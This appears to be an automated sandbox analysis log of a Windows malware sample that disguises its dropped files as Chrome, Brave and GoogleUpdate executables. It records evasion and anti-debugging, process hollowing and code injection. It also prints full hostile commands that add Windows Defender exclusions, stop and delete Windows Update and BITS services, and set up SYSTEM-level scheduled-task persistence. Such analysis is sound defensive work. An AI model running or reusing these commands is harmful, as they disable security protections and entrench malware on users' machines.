Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5864	Thread sleep count: 9037 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4764	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3924	Thread sleep count: 8821 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4832	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 6048	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\GoogleUpdate.exe TID: 4964	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\GoogleUpdate.exe TID: 2356	Thread sleep time: -1200000s >= -30000s
Source: C:\Windows\GoogleUpdate.exe TID: 2356	Thread sleep time: -300000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4968	Thread sleep count: 234 > 30
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 5880	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5452	Thread sleep count: 8281 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1788	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Google\ofg.exe

Thread sleep count: Count: 3161 delay: -10

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-8771

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\GoogleUpdate.exe	Thread delayed: delay time: 300000
Source: C:\Windows\GoogleUpdate.exe	Thread delayed: delay time: 300000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Window / User API: threadDelayed 9999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Window / User API: threadDelayed 9416	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9437	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Window / User API: threadDelayed 3161	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Window / User API: threadDelayed 792	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1720
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9037
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8821
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8281

Source: C:\Users\user\AppData\Local\Google\brave.exe

API coverage: 9.4 %

Source: C:\Users\user\AppData\Local\Google\brave.exe

Dropped PE file which has not been started: C:\Program Files\Google\Chrome\updater.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000
Source: C:\Windows\GoogleUpdate.exe	Thread delayed: delay time: 300000
Source: C:\Windows\GoogleUpdate.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: GoogleUpdate.exe, 00000033.00000002.592008882.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`@~%SystemRoot%\system32\mswsock.dll
Source: ModuleAnalysisCache.34.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: ModuleAnalysisCache.34.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: GoogleUpdate.exe, 00000033.00000003.404772246.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000002.593295784.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.423596351.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.402386267.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ModuleAnalysisCache.34.dr	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: vbc.exe, 00000002.00000003.303651315.0000000005504000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.341873486.000000000551B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe

0_2_0041182C

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe

Code function: 0_2_0041B154 mov eax, dword ptr fs:[00000030h]

0_2_0041B154

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe

Code function: 0_2_0040D7F4 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0040D7F4

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 14_2_00007FF6FC4CF6C0 GetLastError,FormatMessageA,IsDebuggerPresent,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,LocalFree,

14_2_00007FF6FC4CF6C0

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 14_2_00007FF6FC4C43C0 SHGetFolderPathW,GetFileSize,GetProcessHeap,HeapAlloc,RtlAllocateHeap,

14_2_00007FF6FC4C43C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: KernelDebuggerInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_00410CD8 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	0_2_00410CD8
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_0040DD47 SetUnhandledExceptionFilter,	0_2_0040DD47
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_0040D7F4 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040D7F4
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_0040AF9A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040AF9A
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 14_2_00007FF6FC4C1190 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,malloc,memcpy,_initterm,GetStartupInfoW,exit,	14_2_00007FF6FC4C1190

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Google\brave.exe

Section loaded: C:\Users\user\AppData\Local\Temp\8ABA.tmp target: unknown protection: readonly

Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory allocated: C:\Windows\GoogleUpdate.exe base: 970000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory allocated: C:\Windows\GoogleUpdate.exe base: 970000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 970000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 970000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe

Code function: 0_2_0041B189 CreateProcessW,GetThreadContext,ReadProcessMemory,VirtualAlloc,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualProtectEx,VirtualFree,WriteProcessMemory,SetThreadContext,ResumeThread,

0_2_0041B189

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force			Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Section unmapped: C:\Windows\GoogleUpdate.exe base address: 970000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Section unmapped: C:\Windows\GoogleUpdate.exe base address: 970000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Section unmapped: unknown base address: 970000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Section unmapped: unknown base address: 970000

Writes to foreign memory regions

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 50FD008	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Memory written: C:\Windows\System32\dialer.exe base: C601B29010	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 970000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 971000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 981000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: EF0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: EF2000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: EFF000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 970000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 971000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: 981000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: EF0000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: EF2000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: EFF000

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Google\brave.exe

Thread register set: target process: 5284

Jump to behavior

Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop usosvc & sc stop waasmedicsvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "hklm\system\currentcontrolset\services\usosvc" /f & reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f & reg delete "hklm\system\currentcontrolset\services\wuauserv" /f & reg delete "hklm\system\currentcontrolset\services\bits" /f & reg delete "hklm\system\currentcontrolset\services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe'''" } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachineqc" /t reg_sz /f /d 'c:\program files\google\chrome\updater.exe' }
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop usosvc & sc stop waasmedicsvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "hklm\system\currentcontrolset\services\usosvc" /f & reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f & reg delete "hklm\system\currentcontrolset\services\wuauserv" /f & reg delete "hklm\system\currentcontrolset\services\bits" /f & reg delete "hklm\system\currentcontrolset\services\dosvc" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe'''" } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachineqc" /t reg_sz /f /d 'c:\program files\google\chrome\updater.exe' }	Jump to behavior

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe

Code function: GetLocaleInfoA,

0_2_0041487A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
